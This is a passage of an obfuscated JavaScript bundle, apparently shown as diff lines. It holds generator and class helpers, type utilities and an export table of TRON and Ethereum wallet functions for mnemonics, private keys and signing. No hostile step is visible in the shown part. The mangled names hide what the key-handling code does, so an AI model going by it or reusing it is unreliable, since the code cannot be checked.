- value: function (_0x52d671, _0x3ae3f8) {
- function _0x540792() {
- return new _0x4d8256(function (_0x450889, _0x4c1a75) {
- _0x5b18b3(_0x52d671, _0x3ae3f8, _0x450889, _0x4c1a75);
- });
- }
- return _0x343593 = _0x343593 ? _0x343593.then(_0x540792, _0x540792) : _0x540792();
- }
- });
- }
- function _0x5c71ec(_0x522c07, _0xfdcddf, _0x4ab2bc) {
- var _0x5910fc = "suspendedStart";
- return function (_0x17b4a5, _0x3e22b0) {
- if ("executing" === _0x5910fc) {
- throw new Error("Generator is already running");
- }
- if ("completed" === _0x5910fc) {
- if ("throw" === _0x17b4a5) {
- throw _0x3e22b0;
- }
- return {
- value: undefined,
- done: true
- };
- }
- for (_0x4ab2bc.method = _0x17b4a5, _0x4ab2bc.arg = _0x3e22b0;;) {
- var _0x25956b = _0x4ab2bc.delegate;
- if (_0x25956b) {
- var _0x55ae6e = _0x4714ab(_0x25956b, _0x4ab2bc);
- if (_0x55ae6e) {
- if (_0x55ae6e === _0xdaf3ba) {
- continue;
- }
- return _0x55ae6e;
- }
- }
- if ("next" === _0x4ab2bc.method) {
- _0x4ab2bc.sent = _0x4ab2bc._sent = _0x4ab2bc.arg;
- } else {
- if ("throw" === _0x4ab2bc.method) {
- if ("suspendedStart" === _0x5910fc) {
- throw _0x5910fc = "completed", _0x4ab2bc.arg;
- }
- _0x4ab2bc.dispatchException(_0x4ab2bc.arg);
- } else {
- "return" === _0x4ab2bc.method && _0x4ab2bc.abrupt("return", _0x4ab2bc.arg);
- }
- }
- _0x5910fc = "executing";
- var _0x69bddc = _0x11ef85(_0x522c07, _0xfdcddf, _0x4ab2bc);
- if ("normal" === _0x69bddc.type) {
- if (_0x5910fc = _0x4ab2bc.done ? "completed" : "suspendedYield", _0x69bddc.arg === _0xdaf3ba) {
- continue;
- }
- return {
- value: _0x69bddc.arg,
- done: _0x4ab2bc.done
- };
- }
- "throw" === _0x69bddc.type && (_0x5910fc = "completed", _0x4ab2bc.method = "throw", _0x4ab2bc.arg = _0x69bddc.arg);
- }
- };
- }
- function _0x4714ab(_0x3c72e6, _0x519643) {
- var _0x48bc39 = _0x519643.method;
- var _0x7ce347 = _0x3c72e6.iterator[_0x48bc39];
- if (undefined === _0x7ce347) {
- _0x519643.delegate = null;
- "throw" === _0x48bc39 && _0x3c72e6.iterator.return && (_0x519643.method = "return", _0x519643.arg = undefined, _0x4714ab(_0x3c72e6, _0x519643), "throw" === _0x519643.method) || "return" !== _0x48bc39 && (_0x519643.method = "throw", _0x519643.arg = new TypeError("The iterator does not provide a '" + _0x48bc39 + "' method"));
- return _0xdaf3ba;
- }
- var _0x5ad641 = _0x11ef85(_0x7ce347, _0x3c72e6.iterator, _0x519643.arg);
- if ("throw" === _0x5ad641.type) {
- _0x519643.method = "throw";
- _0x519643.arg = _0x5ad641.arg;
- _0x519643.delegate = null;
- return _0xdaf3ba;
- }
- var _0x77e242 = _0x5ad641.arg;
- return _0x77e242 ? _0x77e242.done ? (_0x519643[_0x3c72e6.resultName] = _0x77e242.value, _0x519643.next = _0x3c72e6.nextLoc, "return" !== _0x519643.method && (_0x519643.method = "next", _0x519643.arg = undefined), _0x519643.delegate = null, _0xdaf3ba) : _0x77e242 : (_0x519643.method = "throw", _0x519643.arg = new TypeError("iterator result is not an object"), _0x519643.delegate = null, _0xdaf3ba);
- }
- function _0x260d26(_0x27dbf7) {
- var _0x581380 = {
- tryLoc: _0x27dbf7[0]
- };
- 1 in _0x27dbf7 && (_0x581380.catchLoc = _0x27dbf7[1]);
- 2 in _0x27dbf7 && (_0x581380.finallyLoc = _0x27dbf7[2], _0x581380.afterLoc = _0x27dbf7[3]);
- this.tryEntries.push(_0x581380);
- }
- function _0x5bdf51(_0x181219) {
- var _0x341f54 = _0x181219.completion || {};
- _0x341f54.type = "normal";
- delete _0x341f54.arg;
- _0x181219.completion = _0x341f54;
- }
- function _0x4d6c44(_0x36dfcd) {
- this.tryEntries = [{
- tryLoc: "root"
- }];
- _0x36dfcd.forEach(_0x260d26, this);
- this.reset(true);
- }
- function _0x5b2b35(_0x16cdf4) {
- if (_0x16cdf4) {
- var _0x1729f8 = _0x16cdf4[_0x40d0df];
- if (_0x1729f8) {
- return _0x1729f8.call(_0x16cdf4);
- }
- if ("function" == typeof _0x16cdf4.next) {
- return _0x16cdf4;
- }
- if (!isNaN(_0x16cdf4.length)) {
- var _0x34dcda = -1;
- var _0x56a482 = function _0x5f5025() {
- for (; ++_0x34dcda < _0x16cdf4.length;) {
- if (_0x275e7a.call(_0x16cdf4, _0x34dcda)) {
- _0x5f5025.value = _0x16cdf4[_0x34dcda];
- _0x5f5025.done = false;
- return _0x5f5025;
- }
- }
- _0x5f5025.value = undefined;
- _0x5f5025.done = true;
- return _0x5f5025;
- };
- return _0x56a482.next = _0x56a482;
- }
- }
- return {
- next: _0x3ef757
- };
- }
- function _0x3ef757() {
- return {
- value: undefined,
- done: true
- };
- }
- _0x2113ca.prototype = _0x204cb1;
- _0x339f00(_0x1ba0b9, "constructor", {
- value: _0x204cb1,
- configurable: true
- });
- _0x339f00(_0x204cb1, "constructor", {
- value: _0x2113ca,
- configurable: true
- });
- _0x2113ca.displayName = _0x7bd7c7(_0x204cb1, _0x22a44a, "GeneratorFunction");
- _0xe184bc(_0x18e63f.prototype);
- _0x7bd7c7(_0x18e63f.prototype, _0x17a864, function () {
- return this;
- });
- _0xe184bc(_0x1ba0b9);
- _0x7bd7c7(_0x1ba0b9, _0x22a44a, "Generator");
- _0x7bd7c7(_0x1ba0b9, _0x40d0df, function () {
- return this;
- });
- _0x7bd7c7(_0x1ba0b9, "toString", function () {
- return "[object Generator]";
- });
- _0x25c676.keys = function (_0x5a6f66) {
- var _0x430e39 = Object(_0x5a6f66);
- var _0x4cc3bd = [];
- for (var _0x4365aa in _0x430e39) _0x4cc3bd.push(_0x4365aa);
- _0x4cc3bd.reverse();
- return function _0x548f85() {
- for (; _0x4cc3bd.length;) {
- var _0x4730f5 = _0x4cc3bd.pop();
- if (_0x4730f5 in _0x430e39) {
- _0x548f85.value = _0x4730f5;
- _0x548f85.done = false;
- return _0x548f85;
- }
- }
- _0x548f85.done = true;
- return _0x548f85;
- };
- };
- _0x25c676.values = _0x5b2b35;
- _0x4d6c44.prototype = {
- constructor: _0x4d6c44,
- reset: function (_0x3416a4) {
- if (this.prev = 0, this.next = 0, this.sent = this._sent = undefined, this.done = false, this.delegate = null, this.method = "next", this.arg = undefined, this.tryEntries.forEach(_0x5bdf51), !_0x3416a4) {
- for (var _0xfd9c07 in this) "t" === _0xfd9c07.charAt(0) && _0x275e7a.call(this, _0xfd9c07) && !isNaN(+_0xfd9c07.slice(1)) && (this[_0xfd9c07] = undefined);
- }
- },
- stop: function () {
- this.done = true;
- var _0x149424 = this.tryEntries[0].completion;
- if ("throw" === _0x149424.type) {
- throw _0x149424.arg;
- }
- return this.rval;
- },
- dispatchException: function (_0x9a4ba0) {
- if (this.done) {
- throw _0x9a4ba0;
- }
- var _0x407ffd = this;
- function _0x263a89(_0x5ed3e8, _0x3e4167) {
- _0x10271f.type = "throw";
- _0x10271f.arg = _0x9a4ba0;
- _0x407ffd.next = _0x5ed3e8;
- _0x3e4167 && (_0x407ffd.method = "next", _0x407ffd.arg = undefined);
- return !!_0x3e4167;
- }
- for (var _0xe3f83f = this.tryEntries.length - 1; _0xe3f83f >= 0; --_0xe3f83f) {
- var _0x40bffe = this.tryEntries[_0xe3f83f];
- var _0x10271f = _0x40bffe.completion;
- if ("root" === _0x40bffe.tryLoc) {
- return _0x263a89("end");
- }
- if (_0x40bffe.tryLoc <= this.prev) {
- var _0x45cff8 = _0x275e7a.call(_0x40bffe, "catchLoc");
- var _0x540590 = _0x275e7a.call(_0x40bffe, "finallyLoc");
- if (_0x45cff8 && _0x540590) {
- if (this.prev < _0x40bffe.catchLoc) {
- return _0x263a89(_0x40bffe.catchLoc, true);
- }
- if (this.prev < _0x40bffe.finallyLoc) {
- return _0x263a89(_0x40bffe.finallyLoc);
- }
- } else {
- if (_0x45cff8) {
- if (this.prev < _0x40bffe.catchLoc) {
- return _0x263a89(_0x40bffe.catchLoc, true);
- }
- } else {
- if (!_0x540590) {
- throw new Error("try statement without catch or finally");
- }
- if (this.prev < _0x40bffe.finallyLoc) {
- return _0x263a89(_0x40bffe.finallyLoc);
- }
- }
- }
- }
- }
- },
- abrupt: function (_0x4a43ac, _0x148f8e) {
- for (var _0x12f92d = this.tryEntries.length - 1; _0x12f92d >= 0; --_0x12f92d) {
- var _0x361b6a = this.tryEntries[_0x12f92d];
- if (_0x361b6a.tryLoc <= this.prev && _0x275e7a.call(_0x361b6a, "finallyLoc") && this.prev < _0x361b6a.finallyLoc) {
- var _0x1acb8f = _0x361b6a;
- break;
- }
- }
- _0x1acb8f && ("break" === _0x4a43ac || "continue" === _0x4a43ac) && _0x1acb8f.tryLoc <= _0x148f8e && _0x148f8e <= _0x1acb8f.finallyLoc && (_0x1acb8f = null);
- var _0x4bec84 = _0x1acb8f ? _0x1acb8f.completion : {};
- _0x4bec84.type = _0x4a43ac;
- _0x4bec84.arg = _0x148f8e;
- return _0x1acb8f ? (this.method = "next", this.next = _0x1acb8f.finallyLoc, _0xdaf3ba) : this.complete(_0x4bec84);
- },
- complete: function (_0x8b2bd6, _0x48bfbb) {
- if ("throw" === _0x8b2bd6.type) {
- throw _0x8b2bd6.arg;
- }
- "break" === _0x8b2bd6.type || "continue" === _0x8b2bd6.type ? this.next = _0x8b2bd6.arg : "return" === _0x8b2bd6.type ? (this.rval = this.arg = _0x8b2bd6.arg, this.method = "return", this.next = "end") : "normal" === _0x8b2bd6.type && _0x48bfbb && (this.next = _0x48bfbb);
- return _0xdaf3ba;
- },
- finish: function (_0x1805d1) {
- for (var _0x3a623d = this.tryEntries.length - 1; _0x3a623d >= 0; --_0x3a623d) {
- var _0x298863 = this.tryEntries[_0x3a623d];
- if (_0x298863.finallyLoc === _0x1805d1) {
- this.complete(_0x298863.completion, _0x298863.afterLoc);
- _0x5bdf51(_0x298863);
- return _0xdaf3ba;
- }
- }
- },
- catch: function (_0x30cb8d) {
- for (var _0x315f22 = this.tryEntries.length - 1; _0x315f22 >= 0; --_0x315f22) {
- var _0x148a48 = this.tryEntries[_0x315f22];
- if (_0x148a48.tryLoc === _0x30cb8d) {
- var _0x5f3683 = _0x148a48.completion;
- if ("throw" === _0x5f3683.type) {
- var _0x561e39 = _0x5f3683.arg;
- _0x5bdf51(_0x148a48);
- }
- return _0x561e39;
- }
- }
- throw new Error("illegal catch attempt");
- },
- delegateYield: function (_0x4b3850, _0x14f808, _0x5008fc) {
- this.delegate = {
- iterator: _0x5b2b35(_0x4b3850),
- resultName: _0x14f808,
- nextLoc: _0x5008fc
- };
- "next" === this.method && (this.arg = undefined);
- return _0xdaf3ba;
- }
- };
- return _0x25c676;
- }
- _0xa9546.exports = _0x402857;
- _0xa9546.exports.__esModule = true;
- _0xa9546.exports.default = _0xa9546.exports;
- },
- 8698: _0x3a1270 => {
- function _0x3b36fb(_0x477d37) {
- _0x3a1270.exports = _0x3b36fb = "function" == typeof Symbol && "symbol" == typeof Symbol.iterator ? function (_0xe75254) {
- return typeof _0xe75254;
- } : function (_0x68b637) {
- return _0x68b637 && "function" == typeof Symbol && _0x68b637.constructor === Symbol && _0x68b637 !== Symbol.prototype ? "symbol" : typeof _0x68b637;
- };
- _0x3a1270.exports.__esModule = true;
- _0x3a1270.exports.default = _0x3a1270.exports;
- return _0x3b36fb(_0x477d37);
- }
- _0x3a1270.exports = _0x3b36fb;
- _0x3a1270.exports.__esModule = true;
- _0x3a1270.exports.default = _0x3a1270.exports;
- },
- 4687: (_0x168822, _0x52e057, _0x514ca6) => {
- var _0x86c73e = _0x514ca6(7061)();
- _0x168822.exports = _0x86c73e;
- try {
- regeneratorRuntime = _0x86c73e;
- } catch (_0x2aaab4) {
- "object" == typeof globalThis ? globalThis.regeneratorRuntime = _0x86c73e : Function("r", "regeneratorRuntime = r")(_0x86c73e);
- }
- }
- };
- var _0x329611 = {};
- function _0x242c38(_0x33bf88) {
- var _0x4d0fa0 = _0x329611[_0x33bf88];
- if (undefined !== _0x4d0fa0) {
- return _0x4d0fa0.exports;
- }
- _0x329611[_0x33bf88] = {
- id: _0x33bf88,
- loaded: false,
- exports: {}
- };
- var _0x410c7b = _0x329611[_0x33bf88];
- _0x15087c[_0x33bf88].call(_0x410c7b.exports, _0x410c7b, _0x410c7b.exports, _0x242c38);
- _0x410c7b.loaded = true;
- return _0x410c7b.exports;
- }
- _0x242c38.amdO = {};
- _0x242c38.n = _0x212efb => {
- var _0x24d6d5 = _0x212efb && _0x212efb.__esModule ? () => _0x212efb.default : () => _0x212efb;
- _0x242c38.d(_0x24d6d5, {
- a: _0x24d6d5
- });
- return _0x24d6d5;
- };
- _0x232e0f = Object.getPrototypeOf ? _0x54810d => Object.getPrototypeOf(_0x54810d) : _0x6978f2 => _0x6978f2.__proto__;
- _0x242c38.t = function (_0x17aabe, _0x45d3a8) {
- if (1 & _0x45d3a8 && (_0x17aabe = this(_0x17aabe)), 8 & _0x45d3a8) {
- return _0x17aabe;
- }
- if ("object" == typeof _0x17aabe && _0x17aabe) {
- if (4 & _0x45d3a8 && _0x17aabe.__esModule) {
- return _0x17aabe;
- }
- if (16 & _0x45d3a8 && "function" == typeof _0x17aabe.then) {
- return _0x17aabe;
- }
- }
- var _0x2ab447 = Object.create(null);
- _0x242c38.r(_0x2ab447);
- var _0x3d68e9 = {};
- _0x1b8798 = _0x1b8798 || [null, _0x232e0f({}), _0x232e0f([]), _0x232e0f(_0x232e0f)];
- for (var _0x426927 = 2 & _0x45d3a8 && _0x17aabe; "object" == typeof _0x426927 && !~_0x1b8798.indexOf(_0x426927); _0x426927 = _0x232e0f(_0x426927)) {
- Object.getOwnPropertyNames(_0x426927).forEach(_0x45f3a4 => _0x3d68e9[_0x45f3a4] = () => _0x17aabe[_0x45f3a4]);
- }
- _0x3d68e9.default = () => _0x17aabe;
- _0x242c38.d(_0x2ab447, _0x3d68e9);
- return _0x2ab447;
- };
- _0x242c38.d = (_0x372b6f, _0x4093ae) => {
- for (var _0x151be5 in _0x4093ae) _0x242c38.o(_0x4093ae, _0x151be5) && !_0x242c38.o(_0x372b6f, _0x151be5) && Object.defineProperty(_0x372b6f, _0x151be5, {
- enumerable: true,
- get: _0x4093ae[_0x151be5]
- });
- };
- _0x242c38.g = function () {
- if ("object" == typeof globalThis) {
- return globalThis;
- }
- try {
- return this || new Function("return this")();
- } catch (_0x53c53e) {
- if ("object" == typeof window) {
- return window;
- }
- }
- }();
- _0x242c38.o = (_0x51b284, _0x759c74) => Object.prototype.hasOwnProperty.call(_0x51b284, _0x759c74);
- _0x242c38.r = _0x2819b2 => {
- "undefined" != typeof Symbol && Symbol.toStringTag && Object.defineProperty(_0x2819b2, Symbol.toStringTag, {
- value: "Module"
- });
- Object.defineProperty(_0x2819b2, "__esModule", {
- value: true
- });
- };
- _0x242c38.nmd = _0x14eb94 => (_0x14eb94.paths = [], _0x14eb94.children || (_0x14eb94.children = []), _0x14eb94);
- var _0x1f668b = {};
- (() => {
- "use strict";
-
- _0x242c38.d(_0x1f668b, {
- default: () => _0x2d34c8
- });
- var _0x592da3 = {};
- _0x242c38.r(_0x592da3);
- _0x242c38.d(_0x592da3, {
- hasBrowserEnv: () => _0xd071bc,
- hasStandardBrowserEnv: () => _0x2f8611,
- hasStandardBrowserWebWorkerEnv: () => _0x3a2879
- });
- var _0x284252 = {};
- _0x242c38.r(_0x284252);
- _0x242c38.d(_0x284252, {
- base64DecodeFromString: () => _0x72b847,
- base64EncodeToString: () => _0x2119b9,
- byte2hexStr: () => _0xcae99,
- byteArray2hexStr: () => _0x5939a5,
- bytesToString: () => _0x10a7a2,
- hextoString: () => _0x166301
- });
- var _0x16ff45 = {};
- _0x242c38.r(_0x16ff45);
- _0x242c38.d(_0x16ff45, {
- arrayEquals: () => _0x55ed6b,
- base64DecodeFromString: () => _0x72b847,
- base64EncodeToString: () => _0x2119b9,
- bin2String: () => _0x1be3b9,
- byte2hexStr: () => _0xcae99,
- byteArray2hexStr: () => _0x5939a5,
- bytesToString: () => _0x10a7a2,
- getStringType: () => _0x52af87,
- hexChar2byte: () => _0x5eed80,
- hexStr2byteArray: () => _0x4668eb,
- hextoString: () => _0x166301,
- isHexChar: () => _0x320888,
- isNumber: () => _0x2e7fdb,
- strToDate: () => _0xdd1164,
- stringToBytes: () => _0x326176
- });
- var _0x1dc9ea = {};
- _0x242c38.r(_0x1dc9ea);
- _0x242c38.d(_0x1dc9ea, {
- decode58: () => _0x45d584,
- encode58: () => _0x547e9a
- });
- var _0x14c6d6 = {};
- _0x242c38.r(_0x14c6d6);
- _0x242c38.d(_0x14c6d6, {
- AbiCoder: () => _0x9f08ce,
- FormatTypes: () => _0xa59fe9,
- Interface: () => _0x401dd0,
- Mnemonic: () => _0x4be2c8,
- Signature: () => _0x47e1c0,
- SigningKey: () => _0xda262b,
- Wordlist: () => _0x5728f7,
- arrayify: () => _0x1e06b0,
- concat: () => _0x251cd2,
- ethersHDNodeWallet: () => _0x3f9191,
- ethersWallet: () => _0x280cad,
- id: () => _0x261fa4,
- isValidMnemonic: () => _0x50c5d9,
- joinSignature: () => _0x1d15e9,
- keccak256: () => _0xa68238,
- recoverAddress: () => _0x56c182,
- sha256: () => _0x38416e,
- splitSignature: () => _0x42998c,
- toUtf8Bytes: () => _0x1667a1,
- toUtf8String: () => _0x311311,
- wordlists: () => _0x22abe2
- });
- var _0x278339 = {};
- _0x242c38.r(_0x278339);
- _0x242c38.d(_0x278339, {
- ECKeySign: () => _0x325016,
- SHA256: () => _0x3248d0,
- _signTypedData: () => _0x33e311,
- arrayToBase64String: () => _0x56558e,
- computeAddress: () => _0x30035a,
- decode58Check: () => _0x5a39c9,
- decodeBase58Address: () => _0x190116,
- ecRecover: () => _0x3f4e4b,
- genPriKey: () => _0x328243,
- getAddressFromPriKey: () => _0x22d4ba,
- getAddressFromPriKeyBase64String: () => _0x4a10dd,
- getBase58CheckAddress: () => _0x8062fc,
- getBase58CheckAddressFromPriKeyBase64String: () => _0x81c261,
- getHexStrAddressFromPriKeyBase64String: () => _0x153b9a,
- getPubKeyFromPriKey: () => _0x89d2a6,
- getRowBytesFromTransactionBase64: () => _0xf65b4a,
- isAddressValid: () => _0xcd8da6,
- passwordToAddress: () => _0x44d3dc,
- pkToAddress: () => _0x5c496d,
- signBytes: () => _0x5be9df,
- signTransaction: () => _0x13d145
- });
- var _0x485ab2 = {};
- _0x242c38.r(_0x485ab2);
- _0x242c38.d(_0x485ab2, {
- generateAccount: () => _0x135203,
- generateAccountWithMnemonic: () => _0x101d7c,
- generateRandom: () => _0x377944
- });
- var _0x58e549 = {};
- _0x242c38.r(_0x58e549);
- _0x242c38.d(_0x58e549, {
- decodeParams: () => _0x60c559,
- decodeParamsV2ByABI: () => _0x3b01a1,
- encodeParams: () => _0x298de8,
- encodeParamsV2ByABI: () => _0x4f1669
- });
- var _0xae689f = {};
- _0x242c38.r(_0xae689f);
- _0x242c38.d(_0xae689f, {
- TRON_MESSAGE_PREFIX: () => _0x25e3fa,
- hashMessage: () => _0x4c77b1,
- signMessage: () => _0x1fefee,
- verifyMessage: () => _0x52ca21
- });
- var _0x3c4402 = {};
- function _0x25b26f(_0x11b7f6, _0x5652d5, _0x1e6590, _0x59a1e4, _0x330bf3, _0x30098a, _0x1f7da6) {
- try {
- var _0x1219d4 = _0x11b7f6[_0x30098a](_0x1f7da6);
- var _0x1af6ff = _0x1219d4.value;
- } catch (_0x2a57ac) {
- return void _0x1e6590(_0x2a57ac);
- }
- _0x1219d4.done ? _0x5652d5(_0x1af6ff) : Promise.resolve(_0x1af6ff).then(_0x59a1e4, _0x330bf3);
- }
- function _0x203d83(_0x19388d) {
- return function () {
- var _0x397015 = this;
- var _0x1976cf = arguments;
- return new Promise(function (_0x3a15ee, _0x1c8040) {
- var _0x508f7c = _0x19388d.apply(_0x397015, _0x1976cf);
- function _0x162476(_0x21df82) {
- _0x25b26f(_0x508f7c, _0x3a15ee, _0x1c8040, _0x162476, _0xc0d292, "next", _0x21df82);
- }
- function _0xc0d292(_0x220cb6) {
- _0x25b26f(_0x508f7c, _0x3a15ee, _0x1c8040, _0x162476, _0xc0d292, "throw", _0x220cb6);
- }
- _0x162476(undefined);
- });
- };
- }
- function _0x4dce66(_0x28dde9) {
- _0x4dce66 = "function" == typeof Symbol && "symbol" == typeof Symbol.iterator ? function (_0x106c7c) {
- return typeof _0x106c7c;
- } : function (_0x4f9b07) {
- return _0x4f9b07 && "function" == typeof Symbol && _0x4f9b07.constructor === Symbol && _0x4f9b07 !== Symbol.prototype ? "symbol" : typeof _0x4f9b07;
- };
- return _0x4dce66(_0x28dde9);
- }
- function _0x1d998d(_0x1b16f3, _0x317366) {
- if (!(_0x1b16f3 instanceof _0x317366)) {
- throw new TypeError("Cannot call a class as a function");
- }
- }
- function _0x5138dd(_0x3cd3b3) {
- var _0x1a43d9 = function (_0x30bfae, _0x2615c8) {
- if ("object" !== _0x4dce66(_0x30bfae) || null === _0x30bfae) {
- return _0x30bfae;
- }
- var _0x4f3b91 = _0x30bfae[Symbol.toPrimitive];
- if (undefined !== _0x4f3b91) {
- var _0x542b00 = _0x4f3b91.call(_0x30bfae, "string");
- if ("object" !== _0x4dce66(_0x542b00)) {
- return _0x542b00;
- }
- throw new TypeError("@@toPrimitive must return a primitive value.");
- }
- return String(_0x30bfae);
- }(_0x3cd3b3);
- return "symbol" === _0x4dce66(_0x1a43d9) ? _0x1a43d9 : String(_0x1a43d9);
- }
- function _0x3e67de(_0x420b6e, _0x313564) {
- for (var _0x5c40c0 = 0; _0x5c40c0 < _0x313564.length; _0x5c40c0++) {
- var _0x3b32f3 = _0x313564[_0x5c40c0];
- _0x3b32f3.enumerable = _0x3b32f3.enumerable || false;
- _0x3b32f3.configurable = true;
- "value" in _0x3b32f3 && (_0x3b32f3.writable = true);
- Object.defineProperty(_0x420b6e, _0x5138dd(_0x3b32f3.key), _0x3b32f3);
- }
- }
- function _0x561e78(_0x4e9ac4, _0x51e0c9, _0x2bcb89) {
- _0x51e0c9 && _0x3e67de(_0x4e9ac4.prototype, _0x51e0c9);
- _0x2bcb89 && _0x3e67de(_0x4e9ac4, _0x2bcb89);
- Object.defineProperty(_0x4e9ac4, "prototype", {
- writable: false
- });
- return _0x4e9ac4;
- }
- function _0x3ea587(_0x4b56b4) {
- if (undefined === _0x4b56b4) {
- throw new ReferenceError("this hasn't been initialised - super() hasn't been called");
- }
- return _0x4b56b4;
- }
- function _0x171fd0(_0x55fca3, _0x54486b) {
- _0x171fd0 = Object.setPrototypeOf ? Object.setPrototypeOf.bind() : function (_0x2b6df0, _0x4879b3) {
- _0x2b6df0.__proto__ = _0x4879b3;
- return _0x2b6df0;
- };
- return _0x171fd0(_0x55fca3, _0x54486b);
- }
- function _0x2e6032(_0x139238, _0x4462e1) {
- if ("function" != typeof _0x4462e1 && null !== _0x4462e1) {
- throw new TypeError("Super expression must either be null or a function");
- }
- _0x139238.prototype = Object.create(_0x4462e1 && _0x4462e1.prototype, {
- constructor: {
- value: _0x139238,
- writable: true,
- configurable: true
- }
- });
- Object.defineProperty(_0x139238, "prototype", {
- writable: false
- });
- _0x4462e1 && _0x171fd0(_0x139238, _0x4462e1);
- }
- function _0xeaa5dd(_0x5bcbe9, _0x3a2d1e) {
- if (_0x3a2d1e && ("object" === _0x4dce66(_0x3a2d1e) || "function" == typeof _0x3a2d1e)) {
- return _0x3a2d1e;
- }
- if (undefined !== _0x3a2d1e) {
- throw new TypeError("Derived constructors may only return object or undefined");
- }
- return _0x3ea587(_0x5bcbe9);
- }
- function _0x1cc855(_0x2f48ec) {
- _0x1cc855 = Object.setPrototypeOf ? Object.getPrototypeOf.bind() : function (_0x1134c6) {
- return _0x1134c6.__proto__ || Object.getPrototypeOf(_0x1134c6);
- };
- return _0x1cc855(_0x2f48ec);
- }
- function _0x713ed3(_0x154c68, _0x332250, _0x1abe23) {
- (_0x332250 = _0x5138dd(_0x332250)) in _0x154c68 ? Object.defineProperty(_0x154c68, _0x332250, {
- value: _0x1abe23,
- enumerable: true,
- configurable: true,
- writable: true
- }) : _0x154c68[_0x332250] = _0x1abe23;
- return _0x154c68;
- }
- _0x242c38.r(_0x3c4402);
- _0x242c38.d(_0x3c4402, {
- txCheck: () => _0x2fd324,
- txCheckWithArgs: () => _0x2a2290,
- txJsonToPb: () => _0x19b9ac,
- txJsonToPbWithArgs: () => _0x3de547,
- txPbToRawDataHex: () => _0x311c84,
- txPbToTxID: () => _0x1c03ef
- });
- var _0x4afc9d = _0x242c38(4687);
- var _0x307918 = _0x242c38.n(_0x4afc9d);
- function _0x4de0c4(_0xd3808c, _0x463e15) {
- return function () {
- return _0xd3808c.apply(_0x463e15, arguments);
- };
- }
- const {
- toString: _0x462d2d
- } = Object.prototype;
- const {
- getPrototypeOf: _0x3ccfbe
- } = Object;
- _0x7f42a8 = Object.create(null);
- const _0x3324cb = _0x221426 => {
- const _0x46c43f = _0x462d2d.call(_0x221426);
- return _0x7f42a8[_0x46c43f] || (_0x7f42a8[_0x46c43f] = _0x46c43f.slice(8, -1).toLowerCase());
- };
- var _0x7f42a8;
- const _0x51588b = _0xc0c205 => (_0xc0c205 = _0xc0c205.toLowerCase(), _0x482551 => _0x3324cb(_0x482551) === _0xc0c205);
- const _0x5498c4 = _0x23540f => _0x13ca55 => typeof _0x13ca55 === _0x23540f;
- const {
- isArray: _0xc1c198
- } = Array;
- const _0x1a45f0 = _0x5498c4("undefined");
- const _0x23a517 = _0x51588b("ArrayBuffer");
- const _0x22b08f = _0x5498c4("string");
- const _0x320e8b = _0x5498c4("function");
- const _0x5dd6bd = _0x5498c4("number");
- const _0x5523da = _0x10f407 => null !== _0x10f407 && "object" == typeof _0x10f407;
- const _0x74efdc = _0x40ca30 => {
- if ("object" !== _0x3324cb(_0x40ca30)) {
- return false;
- }
- const _0x27c561 = _0x3ccfbe(_0x40ca30);
- return !(null !== _0x27c561 && _0x27c561 !== Object.prototype && null !== Object.getPrototypeOf(_0x27c561) || Symbol.toStringTag in _0x40ca30 || Symbol.iterator in _0x40ca30);
- };
- const _0x52bdb1 = _0x51588b("Date");
- const _0x185115 = _0x51588b("File");
- const _0x46f970 = _0x51588b("Blob");
- const _0x46437b = _0x51588b("FileList");
- const _0x4614a8 = _0x51588b("URLSearchParams");
- function _0x4bb3b0(_0x2aaa5b, _0x57cf66, {
- allOwnKeys: _0x3cc310 = false
- } = {}) {
- if (null == _0x2aaa5b) {
- return;
- }
- let _0x3d3d2c;
- let _0x92202c;
- if ("object" != typeof _0x2aaa5b && (_0x2aaa5b = [_0x2aaa5b]), _0xc1c198(_0x2aaa5b)) {
- for (_0x3d3d2c = 0, _0x92202c = _0x2aaa5b.length; _0x3d3d2c < _0x92202c; _0x3d3d2c++) {
- _0x57cf66.call(null, _0x2aaa5b[_0x3d3d2c], _0x3d3d2c, _0x2aaa5b);
- }
- } else {
- const _0x30545b = _0x3cc310 ? Object.getOwnPropertyNames(_0x2aaa5b) : Object.keys(_0x2aaa5b);
- const _0x4f8027 = _0x30545b.length;
- let _0xc143d3;
- for (_0x3d3d2c = 0; _0x3d3d2c < _0x4f8027; _0x3d3d2c++) {
- _0xc143d3 = _0x30545b[_0x3d3d2c];
- _0x57cf66.call(null, _0x2aaa5b[_0xc143d3], _0xc143d3, _0x2aaa5b);
- }
- }
- }
- function _0x113fd9(_0x4d5e30, _0x31d9b5) {
- _0x31d9b5 = _0x31d9b5.toLowerCase();
- const _0x373bfb = Object.keys(_0x4d5e30);
- let _0x35c91c;
- let _0x5e7f6b = _0x373bfb.length;
- for (; _0x5e7f6b-- > 0;) {
- if (_0x35c91c = _0x373bfb[_0x5e7f6b], _0x31d9b5 === _0x35c91c.toLowerCase()) {
- return _0x35c91c;
- }
- }
- return null;
- }
- const _0x113d97 = "undefined" != typeof globalThis ? globalThis : "undefined" != typeof self ? self : "undefined" != typeof window ? window : global;
- const _0x1c55ae = _0x33dc2c => !_0x1a45f0(_0x33dc2c) && _0x33dc2c !== _0x113d97;
- _0x49b68c = "undefined" != typeof Uint8Array && _0x3ccfbe(Uint8Array);
- const _0x458178 = _0x47b18f => _0x49b68c && _0x47b18f instanceof _0x49b68c;
- var _0x49b68c;
- const _0x12d91d = _0x51588b("HTMLFormElement");
- const _0x320d16 = (({
- hasOwnProperty: _0x2fe6f7
- }) => (_0x48c790, _0x546139) => _0x2fe6f7.call(_0x48c790, _0x546139))(Object.prototype);
- const _0x5acedf = _0x51588b("RegExp");
- const _0x40cd6c = (_0x2a4371, _0x3015a3) => {
- const _0x212ea4 = Object.getOwnPropertyDescriptors(_0x2a4371);
- const _0x44ca5f = {};
- _0x4bb3b0(_0x212ea4, (_0x151948, _0x35f3b5) => {
- let _0x5c7623;
- false !== (_0x5c7623 = _0x3015a3(_0x151948, _0x35f3b5, _0x2a4371)) && (_0x44ca5f[_0x35f3b5] = _0x5c7623 || _0x151948);
- });
- Object.defineProperties(_0x2a4371, _0x44ca5f);
- };
- const _0x5f3f3f = "abcdefghijklmnopqrstuvwxyz";
- const _0x26f06f = "0123456789";
- const _0x361969 = {
- DIGIT: _0x26f06f,
- ALPHA: _0x5f3f3f,
- ALPHA_DIGIT: _0x5f3f3f + _0x5f3f3f.toUpperCase() + _0x26f06f
- };
- const _0x5d05ec = _0x51588b("AsyncFunction");
- const _0x172845 = {
- isArray: _0xc1c198,
- isArrayBuffer: _0x23a517,
- isBuffer: function (_0x585c99) {
